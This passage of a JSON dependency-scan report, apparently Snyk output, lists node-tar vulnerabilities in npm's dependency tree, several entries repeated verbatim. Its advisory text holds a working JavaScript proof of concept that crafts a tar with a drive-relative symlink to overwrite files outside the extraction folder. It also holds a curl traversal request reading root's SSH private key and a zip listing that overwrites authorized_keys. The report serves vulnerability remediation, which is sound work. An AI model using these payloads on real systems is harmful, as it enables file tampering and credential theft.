"npm@11.11.0", "@npmcli/arborist@9.4.0", "pacote@21.4.0", "tar@7.5.9" ], "upgradePath": [ false, "npm@11.11.0", "@npmcli/arborist@9.9.1", "pacote@21.5.1", "tar@7.5.22" ], "isUpgradable": true, "isPatchable": false, "name": "tar", "version": "7.5.9" }, { "id": "SNYK-JS-TAR-15416075", "title": "Symlink Attack", "CVSSv3": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:C/C:N/I:H/A:N", "credit": [ "Jvr2022" ], "semver": { "vulnerable": [ "<7.5.10" ] }, "exploit": "Not Defined", "fixedIn": [ "7.5.10" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.2, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "tar", "references": [ { "url": "https://github.com/isaacs/node-tar/security/advisories/GHSA-qffp-2rhf-9h96", "title": "GitHub Advisory" }, { "url": "https://github.com/isaacs/node-tar/commit/7bc755dd85e623c0279e08eb3784909e6d7e4b9f", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:H/A:N", "cvssV3BaseScore": 8.6, "modificationTime": "2026-03-10T05:27:35.213816Z" }, { "assigner": "NVD", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:C/C:N/I:H/A:N", "cvssV3BaseScore": 6.3, "modificationTime": "2026-03-12T01:19:49.557036Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:P/VC:N/VI:H/VA:L/SC:N/SI:H/SA:L/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.2, "cvssVersion": "4.0", "modificationTime": "2026-09-02T02:01:15.540037Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:C/C:N/I:H/A:N", "assigner": "Snyk", "severity": "medium", "baseScore": 6.3, "cvssVersion": "3.1", "modificationTime": "2026-09-02T02:01:15.540037Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:H/A:N", "assigner": "Red Hat", "severity": "high", "baseScore": 8.6, "cvssVersion": "3.1", "modificationTime": "2026-03-10T05:27:35.213816Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:C/C:N/I:H/A:N", "assigner": "NVD", "severity": "medium", "baseScore": 6.3, "cvssVersion": "3.1", "modificationTime": "2026-03-12T01:19:49.557036Z" } ], "description": "## Overview\n[tar](https://www.npmjs.com/package/tar) is a full-featured Tar for Node.js.\n\nAffected versions of this package are vulnerable to Symlink Attack exploitable via `stripAbsolutePath()`, used by the `Unpack` class. An attacker can overwrite arbitrary files outside the intended extraction directory by including a hardlink whose `linkpath` uses a drive-relative path such as `C:../target.txt` in a malicious tar.\n\n## Details\n\nA Directory Traversal attack (also known as path traversal) aims to access files and directories that are stored outside the intended folder. By manipulating files with \"dot-dot-slash (../)\" sequences and its variations, or by using absolute file paths, it may be possible to access arbitrary files and directories stored on file system, including application source code, configuration, and other critical system files.\n\nDirectory Traversal vulnerabilities can be generally divided into two types:\n\n- **Information Disclosure**: Allows the attacker to gain information about the folder structure or read the contents of sensitive files on the system.\n\n`st` is a module for serving static files on web pages, and contains a [vulnerability of this type](https://snyk.io/vuln/npm:st:20140206). In our example, we will serve files from the `public` route.\n\nIf an attacker requests the following URL from our server, it will in turn leak the sensitive private key of the root user.\n\n```\ncurl http://localhost:8080/public/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/root/.ssh/id_rsa\n```\n**Note** `%2e` is the URL encoded version of `.` (dot).\n\n- **Writing arbitrary files**: Allows the attacker to create or replace existing files. This type of vulnerability is also known as `Zip-Slip`. \n\nOne way to achieve this is by using a malicious `zip` archive that holds path traversal filenames. When each filename in the zip archive gets concatenated to the target extraction folder, without validation, the final path ends up outside of the target folder. If an executable or a configuration file is overwritten with a file containing malicious code, the problem can turn into an arbitrary code execution issue quite easily.\n\nThe following is an example of a `zip` archive with one benign file and one malicious file. Extracting the malicious file will result in traversing out of the target folder, ending up in `/root/.ssh/` overwriting the `authorized_keys` file:\n\n```\n2018-04-15 22:04:29 ..... 19 19 good.txt\n2018-04-15 22:04:42 ..... 20 20 ../../../../../../root/.ssh/authorized_keys\n```\n\n## Remediation\nUpgrade `tar` to version 7.5.10 or higher.\n## References\n- [GitHub Advisory](https://github.com/isaacs/node-tar/security/advisories/GHSA-qffp-2rhf-9h96)\n- [GitHub Commit](https://github.com/isaacs/node-tar/commit/7bc755dd85e623c0279e08eb3784909e6d7e4b9f)\n", "epssDetails": { "percentile": "0.36353", "probability": "0.00439", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-29786" ], "CWE": [ "CWE-22", "CWE-59" ], "GHSA": [ "GHSA-qffp-2rhf-9h96" ] }, "packageName": "tar", "proprietary": false, "creationTime": "2026-03-05T07:19:20.751739Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-03-05T00:52:32Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-03-05T07:19:21.124544Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-02T02:01:15.540037Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmdiff@8.1.3", "pacote@21.4.0", "tar@7.5.9" ], "upgradePath": [ false, "npm@11.11.0", "libnpmdiff@8.1.12", "pacote@21.5.1", "tar@7.5.22" ], "isUpgradable": true, "isPatchable": false, "name": "tar", "version": "7.5.9" }, { "id": "SNYK-JS-TAR-15456201", "title": "Symlink Attack", "CVSSv3": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:C/C:N/I:H/A:N/E:P", "credit": [ "Jvr2022" ], "semver": { "vulnerable": [ "<7.5.11" ] }, "exploit": "Proof of Concept", "fixedIn": [ "7.5.11" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.2, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "tar", "references": [ { "url": "https://github.com/isaacs/node-tar/commit/f48b5fa3b7985ddab96dc0f2125a4ffc9911b6ad", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N", "cvssV3BaseScore": 6.2, "modificationTime": "2026-03-11T05:27:18.357410Z" }, { "assigner": "NVD", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N", "cvssV3BaseScore": 5.5, "modificationTime": "2026-03-19T01:25:11.350764Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:H/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.2, "cvssVersion": "4.0", "modificationTime": "2026-08-24T02:01:20.790850Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:C/C:N/I:H/A:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.1, "cvssVersion": "3.1", "modificationTime": "2026-08-24T02:01:20.790850Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.2, "cvssVersion": "3.1", "modificationTime": "2026-03-11T05:27:18.357410Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N", "assigner": "NVD", "severity": "medium", "baseScore": 5.5, "cvssVersion": "3.1", "modificationTime": "2026-03-19T01:25:11.350764Z" } ], "description": "## Overview\n[tar](https://www.npmjs.com/package/tar) is a full-featured Tar for Node.js.\n\nAffected versions of this package are vulnerable to Symlink Attack via `tar.x()` extraction, which allows an attacker to overwrite arbitrary files outside the intended extraction directory with a drive-relative symlink target - like `C:../../../target.txt`.\n## PoC\n```js\r\n\r\nconst fs = require('fs')\r\nconst path = require('path')\r\nconst { Header, x } = require('tar')\r\n\r\nconst cwd = process.cwd()\r\nconst target = path.resolve(cwd, '..', 'target.txt')\r\nconst tarFile = path.join(cwd, 'poc.tar')\r\n\r\nfs.writeFileSync(target, 'ORIGINAL\\n')\r\n\r\nconst b = Buffer.alloc(1536)\r\nnew Header({\r\n path: 'a/b/l',\r\n type: 'SymbolicLink',\r\n linkpath: 'C:../../../target.txt',\r\n}).encode(b, 0)\r\nfs.writeFileSync(tarFile, b)\r\n\r\nx({ cwd, file: tarFile }).then(() => {\r\n fs.writeFileSync(path.join(cwd, 'a/b/l'), 'PWNED\\n')\r\n process.stdout.write(fs.readFileSync(target, 'utf8'))\r\n})\r\n```\n\n## Details\n\nA Directory Traversal attack (also known as path traversal) aims to access files and directories that are stored outside the intended folder. By manipulating files with \"dot-dot-slash (../)\" sequences and its variations, or by using absolute file paths, it may be possible to access arbitrary files and directories stored on file system, including application source code, configuration, and other critical system files.\n\nDirectory Traversal vulnerabilities can be generally divided into two types:\n\n- **Information Disclosure**: Allows the attacker to gain information about the folder structure or read the contents of sensitive files on the system.\n\n`st` is a module for serving static files on web pages, and contains a [vulnerability of this type](https://snyk.io/vuln/npm:st:20140206). In our example, we will serve files from the `public` route.\n\nIf an attacker requests the following URL from our server, it will in turn leak the sensitive private key of the root user.\n\n```\ncurl http://localhost:8080/public/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/root/.ssh/id_rsa\n```\n**Note** `%2e` is the URL encoded version of `.` (dot).\n\n- **Writing arbitrary files**: Allows the attacker to create or replace existing files. This type of vulnerability is also known as `Zip-Slip`. \n\nOne way to achieve this is by using a malicious `zip` archive that holds path traversal filenames. When each filename in the zip archive gets concatenated to the target extraction folder, without validation, the final path ends up outside of the target folder. If an executable or a configuration file is overwritten with a file containing malicious code, the problem can turn into an arbitrary code execution issue quite easily.\n\nThe following is an example of a `zip` archive with one benign file and one malicious file. Extracting the malicious file will result in traversing out of the target folder, ending up in `/root/.ssh/` overwriting the `authorized_keys` file:\n\n```\n2018-04-15 22:04:29 ..... 19 19 good.txt\n2018-04-15 22:04:42 ..... 20 20 ../../../../../../root/.ssh/authorized_keys\n```\n\n## Remediation\nUpgrade `tar` to version 7.5.11 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/node-tar/commit/f48b5fa3b7985ddab96dc0f2125a4ffc9911b6ad)\n", "epssDetails": { "percentile": "0.16344", "probability": "0.00253", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-31802" ], "CWE": [ "CWE-59" ], "GHSA": [ "GHSA-9ppj-qmqm-q256" ] }, "packageName": "tar", "proprietary": false, "creationTime": "2026-03-11T08:15:39.386368Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-03-10T23:44:58Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-03-11T08:15:39.582545Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T02:01:20.790850Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmdiff@8.1.3", "pacote@21.4.0", "tar@7.5.9" ], "upgradePath": [ false, "npm@11.11.0", "libnpmdiff@8.1.12", "pacote@21.5.1", "tar@7.5.22" ], "isUpgradable": true, "isPatchable": false, "name": "tar", "version": "7.5.9" }, { "id": "SNYK-JS-TAR-17909068", "title": "Infinite loop", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "Jvr2022 Jvr" ], "semver": { "vulnerable": [ "<7.5.18" ] }, "exploit": "Proof of Concept", "fixedIn": [ "7.5.18" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "tar", "references": [ { "url": "https://github.com/isaacs/node-tar/security/advisories/GHSA-8x88-c5mf-7j5w", "title": "GitHub Advisory" }, { "url": "https://github.com/isaacs/node-tar/commit/9e78bf058b2c22dd4d52e00d8922d5c06fc2f7b5", "title": "GitHub Commit" }, { "url": "https://github.com/isaacs/node-tar/releases/tag/v7.5.18", "title": "GitHub Release" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-10T07:07:59.641185Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:06:08.224995Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:06:08.224995Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-10T07:07:59.641185Z" } ], "description": "## Overview\n[tar](https://www.npmjs.com/package/tar) is a full-featured Tar for Node.js.\n\nAffected versions of this package are vulnerable to Infinite loop via the `replace` method. An attacker can cause the archive scanner to enter an infinite loop by providing a tar header with a negative base-256 encoded entry size.\n## Remediation\nUpgrade `tar` to version 7.5.18 or higher.\n## References\n- [GitHub Advisory](https://github.com/isaacs/node-tar/security/advisories/GHSA-8x88-c5mf-7j5w)\n- [GitHub Commit](https://github.com/isaacs/node-tar/commit/9e78bf058b2c22dd4d52e00d8922d5c06fc2f7b5)\n- [GitHub Release](https://github.com/isaacs/node-tar/releases/tag/v7.5.18)\n", "epssDetails": { "percentile": "0.35948", "probability": "0.00434", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-59874" ], "CWE": [ "CWE-835" ], "GHSA": [ "GHSA-8x88-c5mf-7j5w" ] }, "packageName": "tar", "proprietary": false, "creationTime": "2026-07-09T14:15:52.146477Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-07-08T18:45:46Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-07-09T14:15:52.339195Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:06:08.224995Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmdiff@8.1.3", "pacote@21.4.0", "tar@7.5.9" ], "upgradePath": [ false, "npm@11.11.0", "libnpmdiff@8.1.12", "pacote@21.5.1", "tar@7.5.22" ], "isUpgradable": true, "isPatchable": false, "name": "tar", "version": "7.5.9" }, { "id": "SNYK-JS-TAR-17909152", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "Jvr2022 Jvr" ], "semver": { "vulnerable": [ "<7.5.19" ] }, "exploit": "Proof of Concept", "fixedIn": [ "7.5.19" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "tar", "references": [ { "url": "https://github.com/isaacs/node-tar/security/advisories/GHSA-23hp-3jrh-7fpw", "title": "GitHub Advisory" }, { "url": "https://github.com/isaacs/node-tar/commit/2812e9338665659b183aa7226518c307044957d3", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-10T07:08:05.862995Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:06:08.177166Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:06:08.177166Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-10T07:08:05.862995Z" } ], "description": "## Overview\n[tar](https://www.npmjs.com/package/tar) is a full-featured Tar for Node.js.\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling due to the lack of enforced upper bounds on total decompressed data, entry counts, or decompression ratio in extraction and parsing paths such as `src/extract.ts`. An attacker can exhaust disk space and CPU resources by submitting a small crafted gzip archive with a high decompression ratio.\n## Remediation\nUpgrade `tar` to version 7.5.19 or higher.\n## References\n- [GitHub Advisory](https://github.com/isaacs/node-tar/security/advisories/GHSA-23hp-3jrh-7fpw)\n- [GitHub Commit](https://github.com/isaacs/node-tar/commit/2812e9338665659b183aa7226518c307044957d3)\n", "epssDetails": { "percentile": "0.43872", "probability": "0.00556", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-59873" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-23hp-3jrh-7fpw" ] }, "packageName": "tar", "proprietary": false, "creationTime": "2026-07-09T14:19:53.639547Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-07-08T18:47:03Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-07-09T14:19:53.812274Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:06:08.177166Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmdiff@8.1.3", "pacote@21.4.0", "tar@7.5.9" ], "upgradePath": [ false, "npm@11.11.0", "libnpmdiff@8.1.12", "pacote@21.5.1", "tar@7.5.22" ], "isUpgradable": true, "isPatchable": false, "name": "tar", "version": "7.5.9" }, { "id": "SNYK-JS-TAR-15416075", "title": "Symlink Attack", "CVSSv3": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:C/C:N/I:H/A:N", "credit": [ "Jvr2022" ], "semver": { "vulnerable": [ "<7.5.10" ] }, "exploit": "Not Defined", "fixedIn": [ "7.5.10" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.2, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "tar", "references": [ { "url": "https://github.com/isaacs/node-tar/security/advisories/GHSA-qffp-2rhf-9h96", "title": "GitHub Advisory" }, { "url": "https://github.com/isaacs/node-tar/commit/7bc755dd85e623c0279e08eb3784909e6d7e4b9f", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:H/A:N", "cvssV3BaseScore": 8.6, "modificationTime": "2026-03-10T05:27:35.213816Z" }, { "assigner": "NVD", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:C/C:N/I:H/A:N", "cvssV3BaseScore": 6.3, "modificationTime": "2026-03-12T01:19:49.557036Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:P/VC:N/VI:H/VA:L/SC:N/SI:H/SA:L/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.2, "cvssVersion": "4.0", "modificationTime": "2026-09-02T02:01:15.540037Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:C/C:N/I:H/A:N", "assigner": "Snyk", "severity": "medium", "baseScore": 6.3, "cvssVersion": "3.1", "modificationTime": "2026-09-02T02:01:15.540037Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:H/A:N", "assigner": "Red Hat", "severity": "high", "baseScore": 8.6, "cvssVersion": "3.1", "modificationTime": "2026-03-10T05:27:35.213816Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:C/C:N/I:H/A:N", "assigner": "NVD", "severity": "medium", "baseScore": 6.3, "cvssVersion": "3.1", "modificationTime": "2026-03-12T01:19:49.557036Z" } ], "description": "## Overview\n[tar](https://www.npmjs.com/package/tar) is a full-featured Tar for Node.js.\n\nAffected versions of this package are vulnerable to Symlink Attack exploitable via `stripAbsolutePath()`, used by the `Unpack` class. An attacker can overwrite arbitrary files outside the intended extraction directory by including a hardlink whose `linkpath` uses a drive-relative path such as `C:../target.txt` in a malicious tar.\n\n## Details\n\nA Directory Traversal attack (also known as path traversal) aims to access files and directories that are stored outside the intended folder. By manipulating files with \"dot-dot-slash (../)\" sequences and its variations, or by using absolute file paths, it may be possible to access arbitrary files and directories stored on file system, including application source code, configuration, and other critical system files.\n\nDirectory Traversal vulnerabilities can be generally divided into two types:\n\n- **Information Disclosure**: Allows the attacker to gain information about the folder structure or read the contents of sensitive files on the system.\n\n`st` is a module for serving static files on web pages, and contains a [vulnerability of this type](https://snyk.io/vuln/npm:st:20140206). In our example, we will serve files from the `public` route.\n\nIf an attacker requests the following URL from our server, it will in turn leak the sensitive private key of the root user.\n\n```\ncurl http://localhost:8080/public/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/root/.ssh/id_rsa\n```\n**Note** `%2e` is the URL encoded version of `.` (dot).\n\n- **Writing arbitrary files**: Allows the attacker to create or replace existing files. This type of vulnerability is also known as `Zip-Slip`. \n\nOne way to achieve this is by using a malicious `zip` archive that holds path traversal filenames. When each filename in the zip archive gets concatenated to the target extraction folder, without validation, the final path ends up outside of the target folder. If an executable or a configuration file is overwritten with a file containing malicious code, the problem can turn into an arbitrary code execution issue quite easily.\n\nThe following is an example of a `zip` archive with one benign file and one malicious file. Extracting the malicious file will result in traversing out of the target folder, ending up in `/root/.ssh/` overwriting the `authorized_keys` file:\n\n```\n2018-04-15 22:04:29 ..... 19 19 good.txt\n2018-04-15 22:04:42 ..... 20 20 ../../../../../../root/.ssh/authorized_keys\n```\n\n## Remediation\nUpgrade `tar` to version 7.5.10 or higher.\n## References\n- [GitHub Advisory](https://github.com/isaacs/node-tar/security/advisories/GHSA-qffp-2rhf-9h96)\n- [GitHub Commit](https://github.com/isaacs/node-tar/commit/7bc755dd85e623c0279e08eb3784909e6d7e4b9f)\n", "epssDetails": { "percentile": "0.36353", "probability": "0.00439", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-29786" ], "CWE": [ "CWE-22", "CWE-59" ], "GHSA": [ "GHSA-qffp-2rhf-9h96" ] }, "packageName": "tar", "proprietary": false, "creationTime": "2026-03-05T07:19:20.751739Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-03-05T00:52:32Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-03-05T07:19:21.124544Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-02T02:01:15.540037Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmexec@10.2.3", "pacote@21.4.0", "tar@7.5.9" ], "upgradePath": [ false, "npm@11.11.0", "libnpmexec@10.3.2", "pacote@21.5.1", "tar@7.5.22" ], "isUpgradable": true, "isPatchable": false, "name": "tar", "version": "7.5.9" }, { "id": "SNYK-JS-TAR-15456201", "title": "Symlink Attack", "CVSSv3": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:C/C:N/I:H/A:N/E:P", "credit": [ "Jvr2022" ], "semver": { "vulnerable": [ "<7.5.11" ] }, "exploit": "Proof of Concept", "fixedIn": [ "7.5.11" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.2, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "tar", "references": [ { "url": "https://github.com/isaacs/node-tar/commit/f48b5fa3b7985ddab96dc0f2125a4ffc9911b6ad", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N", "cvssV3BaseScore": 6.2, "modificationTime": "2026-03-11T05:27:18.357410Z" }, { "assigner": "NVD", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N", "cvssV3BaseScore": 5.5, "modificationTime": "2026-03-19T01:25:11.350764Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:H/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.2, "cvssVersion": "4.0", "modificationTime": "2026-08-24T02:01:20.790850Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:C/C:N/I:H/A:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.1, "cvssVersion": "3.1", "modificationTime": "2026-08-24T02:01:20.790850Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.2, "cvssVersion": "3.1", "modificationTime": "2026-03-11T05:27:18.357410Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N", "assigner": "NVD", "severity": "medium", "baseScore": 5.5, "cvssVersion": "3.1", "modificationTime": "2026-03-19T01:25:11.350764Z" } ], "description": "## Overview\n[tar](https://www.npmjs.com/package/tar) is a full-featured Tar for Node.js.\n\nAffected versions of this package are vulnerable to Symlink Attack via `tar.x()` extraction, which allows an attacker to overwrite arbitrary files outside the intended extraction directory with a drive-relative symlink target - like `C:../../../target.txt`.\n## PoC\n```js\r\n\r\nconst fs = require('fs')\r\nconst path = require('path')\r\nconst { Header, x } = require('tar')\r\n\r\nconst cwd = process.cwd()\r\nconst target = path.resolve(cwd, '..', 'target.txt')\r\nconst tarFile = path.join(cwd, 'poc.tar')\r\n\r\nfs.writeFileSync(target, 'ORIGINAL\\n')\r\n\r\nconst b = Buffer.alloc(1536)\r\nnew Header({\r\n path: 'a/b/l',\r\n type: 'SymbolicLink',\r\n linkpath: 'C:../../../target.txt',\r\n}).encode(b, 0)\r\nfs.writeFileSync(tarFile, b)\r\n\r\nx({ cwd, file: tarFile }).then(() => {\r\n fs.writeFileSync(path.join(cwd, 'a/b/l'), 'PWNED\\n')\r\n process.stdout.write(fs.readFileSync(target, 'utf8'))\r\n})\r\n```\n\n## Details\n\nA Directory Traversal attack (also known as path traversal) aims to access files and directories that are stored outside the intended folder. By manipulating files with \"dot-dot-slash (../)\" sequences and its variations, or by using absolute file paths, it may be possible to access arbitrary files and directories stored on file system, including application source code, configuration, and other critical system files.\n\nDirectory Traversal vulnerabilities can be generally divided into two types:\n\n- **Information Disclosure**: Allows the attacker to gain information about the folder structure or read the contents of sensitive files on the system.\n\n`st` is a module for serving static files on web pages, and contains a [vulnerability of this type](https://snyk.io/vuln/npm:st:20140206). In our example, we will serve files from the `public` route.\n\nIf an attacker requests the following URL from our server, it will in turn leak the sensitive private key of the root user.\n\n```\ncurl http://localhost:8080/public/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/root/.ssh/id_rsa\n```\n**Note** `%2e` is the URL encoded version of `.` (dot).\n\n- **Writing arbitrary files**: Allows the attacker to create or replace existing files. This type of vulnerability is also known as `Zip-Slip`. \n\nOne way to achieve this is by using a malicious `zip` archive that holds path traversal filenames. When each filename in the zip archive gets concatenated to the target extraction folder, without validation, the final path ends up outside of the target folder. If an executable or a configuration file is overwritten with a file containing malicious code, the problem can turn into an arbitrary code execution issue quite easily.\n\nThe following is an example of a `zip` archive with one benign file and one malicious file. Extracting the malicious file will result in traversing out of the target folder, ending up in `/root/.ssh/` overwriting the `authorized_keys` file:\n\n```\n2018-04-15 22:04:29 ..... 19 19 good.txt\n2018-04-15 22:04:42 ..... 20 20 ../../../../../../root/.ssh/authorized_keys\n```\n\n## Remediation\nUpgrade `tar` to version 7.5.11 or higher.\n## References\n- 